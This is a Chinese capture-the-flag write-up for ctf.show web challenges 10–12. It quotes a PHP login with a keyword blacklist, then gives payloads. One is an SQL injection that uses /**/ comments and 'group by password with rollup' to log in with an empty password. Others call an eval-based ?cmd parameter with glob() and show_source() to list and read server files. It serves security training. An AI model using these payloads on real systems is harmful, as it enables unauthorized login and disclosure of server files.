点击取消拿到源码

  1. function replaceSpecialChar($strParam){
  2. $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
  3. return preg_replace($regex,"",$strParam);
  4. }
  5. if (!$con)
  6. {
  7. die('Could not connect: ' . mysqli_error());
  8. }
  9. if(strlen($username)!=strlen(replaceSpecialChar($username))){
  10. die("sql inject error");
  11. }
  12. if(strlen($password)!=strlen(replaceSpecialChar($password))){
  13. die("sql inject error");
  14. }

正则过滤了很多,这里就有个新姿势,
group by(将结果集中的数据行根据选择列的值进行逻辑分组)
不加group by时的输出如下:
image.png
在使用group by以后会按照password中的值进行排列:
image.png
②with rollup (group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计)
来看实例:
image.png
结果中将会多出一行,其中password列为null。
这里我们就可以通过骚姿势绕过了。
其中/**/是为了绕过空格过滤

  1. payload:username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=

因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足$password==$row[‘password’]的限制成功登陆。
登录成功即可显示flag。

ctf.show_web11

  1. <?php
  2. function replaceSpecialChar($strParam){
  3. $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
  4. return preg_replace($regex,"",$strParam);
  5. }
  6. if(strlen($password)!=strlen(replaceSpecialChar($password))){
  7. die("sql inject error");
  8. }
  9. if($password==$_SESSION['password']){
  10. echo $flag;
  11. }else{
  12. echo "error";
  13. }
  14. ?>

我们输入的password和SESSION里的一样就可以输出flag,让其都为空就可以了

web12

有提示?cmd,可以使用phpinfo();,应该是eval($_GET[‘cmd’]);语句
image.png
highlight_file(“index.php”);读取文件
新知识:glob() 函数返回匹配指定模式的文件名或目录。
举个例子:
glob(““) 匹配任意文件
glob(“
.txt”)匹配以txt为后缀的文件
payload

  1. ?cmd=print_r(glob("*"));

image.png
payload

  1. ?cmd=show_source("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");